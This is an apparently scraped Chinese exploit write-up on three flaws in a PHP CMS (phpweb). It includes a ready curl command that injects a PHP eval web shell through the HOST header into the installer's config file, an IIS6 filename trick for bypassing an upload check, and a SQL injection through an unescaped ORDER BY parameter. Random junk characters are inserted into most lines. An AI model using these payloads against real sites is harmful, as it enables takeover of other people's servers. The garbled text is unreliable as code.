注入:8 ]4 x3 L1 H/ ~ P) T" u
( J; O# s( u5 Y# H/ C! U- ^之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
& O0 i8 G6 m/ G- L4 {: X( p . [7 d. r/ n' I! z" R
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件7 o9 u" N5 [4 f9 |% C
鸡肋2: 有一定安全常识的站长都会删掉 install 目录! `& R0 J; R* \+ V% ]* Q
$ l- x6 e- s' ~虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 c0 k% F) q" i9 o( ?( n
) K& [) p! r, Y& A, P( ?' d
分析:
. j8 e4 g. i" e* q : O* F- ?; h' M3 w9 ]- p/ V
( e# C+ C, {) P" J) S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
; V* I# N0 }0 B: U3 D$ V# _0 B ) ]: M$ g6 l8 j$ Q4 ]8 u
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
|* a; A& h( U $filestr=str_replace(" ","",$filestr);
7 f! V( q; K* {) w: \ $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
/ P7 G/ [7 E, H8 M $filestr=str_replace("DefaultDbName",$dbname,$filestr);
}; e+ m" p) S/ ?- `& V$ ] $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 N- W1 X1 V# j$ Q9 i $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; R/ ^) H7 q& m [& C3 H $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 n( R. I3 d, R0 c
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
- y' h' v; ]* h& B6 k6 f1 Q/ k $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: b9 |+ k" t& v8 ^
# }* c1 B) V! }/ a0 l fwrite(fopen($ConFile,"w"),$filestr,30000);, G3 b& y/ k a
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 t- u" y9 t* s: r! I5 a q: q* w" _( Q* m- W
poc:% Y: k$ n }# F3 C
' _8 L, ^9 M3 w o?
j/ I1 l$ r2 b/ P0 l10 X" }4 H; ~: f" O
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
- }/ |1 x0 {* Lshell地址: /config.inc.php
+ r$ v- d8 ]6 U f" I F6 R. F跟之前的 phpcms一样 需要远程数据库0 U; ^9 C+ V' I5 c9 a# B9 Y
, t8 j4 V$ ?" c——————————————————–
) X( E+ D. ^, p) l$ B8 J上传漏洞(需要进后台):7 G% l7 |! u7 }4 M
漏洞文件: /kedit/upload_cgi/upload.php8 D& y: W2 h `* }* M
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用( v7 q9 N2 P# {, n: W1 a
2 S3 t5 B. A) A8 k$ ~) i ; B0 e1 l7 H5 u( O% f' ]
<?php
# O& t1 Q! t& U% { define("ROOTPATH", "../../");
4 \0 o% o! v$ Q1 r2 _5 T$ V4 j4 H include(ROOTPATH."includes/admin.inc.php");
6 V9 W7 c0 t# M NeedAuth(0);% v' t) T. f8 n8 b
* h; _- j" e9 p6 M' W
$dt=date("Ymd",time());
4 x% L: i" z- N d+ ~8 V if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( @# ]: ?( H2 s
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);# t1 ?0 i2 ?9 h' v# j; F+ x
}
1 g+ Y r6 @) i5 m o- a) J0 i6 x1 p2 S
* r3 m& o3 o* Y+ t. C' e3 N //文件保存目录路径5 ]( e6 e& Y+ S& |: u1 w' c
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';0 B5 P% n! q& }; C
echo $save_path;+ L/ M3 _& |+ n1 p
//文件保存目录URL' f6 M, B7 e. r+ v u
$save_url = '../../'.$_POST['attachPath'].$dt.'/';7 r: S5 d" J, _4 _+ @1 z4 E( u
5 p$ r+ X9 y* q' h
//定义允许上传的文件扩展名
; e7 ~1 x% l/ F$ z: g* Z' Y( e/ o $ext_arr = array('gif','jpg','png','bmp'); //限制后缀7 S; _ M# H1 q& S0 w
n/ M$ _0 m1 n# E
//最大文件大小
' P( A( P# G; i3 I $max_size = 1000000;( x0 c3 U* w: f! B. l
# o h+ |1 y1 N: v3 d //更改目录权限; W- e6 U: M( S2 p
@mkdir($save_path, 0777);
( Q9 S9 ^5 `' `; N7 u2 r
7 i$ T; O8 y/ k7 \) j0 v" [# B //文件的全部路径
$ r+ S/ i4 o% ~( R, r $file_path = $save_path.$_POST['fileName']; //保存文件名
6 U" v& N8 x6 X" v6 q$ A7 C 4 }% w9 T! a7 {7 v8 b6 u
//文件URL1 l# l' s+ W5 G# k# F( z( d1 ~
$file_url = $save_url.$_POST['fileName'];
: n: b& b! T% `5 G2 ?$ \" p# B//有上传文件时
! J9 _* o# r. q q$ x if (empty($_FILES) === false) {
3 E- o1 p+ J& h. r
0 @) W& o8 F1 h3 Y) Q% {& ^ //原文件名: f( l' G) @% i% |
$file_name = $_FILES['fileData']['name'];3 C$ L. N1 k% L A' M
//服务器上临时文件名( u1 h Y! K0 S
$tmp_name = $_FILES['fileData']['tmp_name'];
* Q, T) m2 k# I: }$ Z //文件大小
& A# ~ F1 o! p9 v $file_size = $_FILES['fileData']['size'];
; g: K4 t @1 M2 l$ I //检查目录" Z/ i4 K5 u( P& u. Z
if (@is_dir($save_path) === false) {( i3 @7 T( v4 M' P2 s
alert("上传目录不存在。");2 e+ u* r# i; p2 H$ N Q
}
1 |0 a% A& s0 n0 C! [4 p //检查目录写权限
: v7 u. E' A4 f8 ] if (@is_writable($save_path) === false) {! m$ ~8 {" I$ I7 @0 W+ I0 g
alert("上传目录没有写权限。");
; w& \4 q, U" L: @) D* Q) T6 { }
1 D, |# T! S8 ^% D' A* E) t //检查是否已上传# v0 U, H! `, @" P; c/ k$ O- V
if (@is_uploaded_file($tmp_name) === false) {
& @0 b: n! G3 Z5 C alert("临时文件可能不是上传文件。");
: L. s5 Y$ _# q5 \ }
! ^0 U# _* {6 @5 C //检查文件大小7 u( W7 c8 l$ B5 x
if ($file_size > $max_size) {
5 y+ p% }" J# x alert("上传文件大小超过限制。");, r3 M. g& X/ x* c' w
}6 V/ J3 E v0 @8 B% _ N* j
//获得文件扩展名
! M0 q% O4 G# c $temp_arr = explode(".", $_POST['fileName']);
/ x% u- _9 Y. M& b7 a3 P $file_ext = array_pop($temp_arr);
?, e' ]' V* d6 @ $file_ext = trim($file_ext);
: |" k+ O6 W( J7 o. I $file_ext = strtolower($file_ext);
# N+ O& [5 W: |2 S6 H8 R
; o9 |6 }8 [6 N# m, ~8 y //检查扩展名 ! J! r1 }# a% a( H2 s) t8 V. h. W
if (in_array($file_ext, $ext_arr) === false) {
- g2 k' o. x7 y/ v alert("上传文件扩展名是不允许的扩展名。");
5 L& C% h* r, O, T: h }: V- \- ^ X. D/ s! b/ ]
2 G8 a9 t4 V/ n9 _$ P& `
//移动文件
- j* j; d5 ~. X0 `& |$ J) M6 e //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^2 N0 W, u6 x( u/ R7 {& s
if (move_uploaded_file($tmp_name, $file_path) === false) {
A- a% i: ?9 \& n3 z) N alert("上传文件失败。");
' H8 u$ b: @" O8 U }- ~& m, ~6 K& w1 c, z3 c
- @6 V/ D% ] _% D. Z
@chmod($file_path,0666);/ _9 |- x9 ?, `5 Q3 S
' Z, k0 ?5 T& y% y. u: X6 i
?>
8 J# u$ a4 o; N0 p3 Y抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
- F. F3 S+ j/ x0 U/ f1 ?; p8 o" z
* e* G0 I, O y' T) ?2 w: Lapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过# b8 |# C7 B3 v v7 E _2 r, c7 e
3 J9 ]" a9 x) \+ O) Z. Z: W
——————————————————
' A: C; T. l8 P* }注入漏洞:& n, n, D9 i8 E- v
漏洞文件:search/module/search.php& K$ [/ K+ r5 w5 |7 X
/search/index.php?key=1&myord=1 [sqlinjection]
" k: v$ {4 u9 C' r, R. Z6 Z
+ H3 O1 g. @: d3 K) T$ d 5 w9 X! L B$ g4 f* r
<?php$ W( N. I0 T% w8 Z
// ... 省略 n 行...
5 I2 ?0 ~0 \" h0 F+ M //第18行:& ~8 r; U4 x* t8 o0 k4 U9 a7 \9 j) S; x! z
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响: {2 k# E* J+ Y5 O* z+ b
$page=htmlspecialchars($_GET["page"]);
9 ?8 f; ~0 j1 B5 i- \. G, M9 } $myord=htmlspecialchars($_GET["myord"]);
' H2 g8 _" l4 M* g7 i
" i* j) x N8 M1 F // ... 省略 n 行...6 b9 F5 c% _( I8 h$ t2 @# @4 F/ }1 G
$key,$myord 两个参数带入查询
; s) J- R# a" A+ i2 K4 x //第47行 $key:3 @. g% D. v3 Z8 n+ {
" J7 A: F% H4 }4 M& W $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
" g: Z( f" k' G/ I2 L' C
& @$ u; V( R/ U6 |2 \; ^# v8 { //第197行 $myord$ S# M$ f2 `! \4 q! Q% z
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
0 u8 B0 B, Y4 ~3 ]. K& M/ Y: q - ~' w ~* D8 }- G6 F; r
?>) B" Q* `6 H! H& S6 U; o
|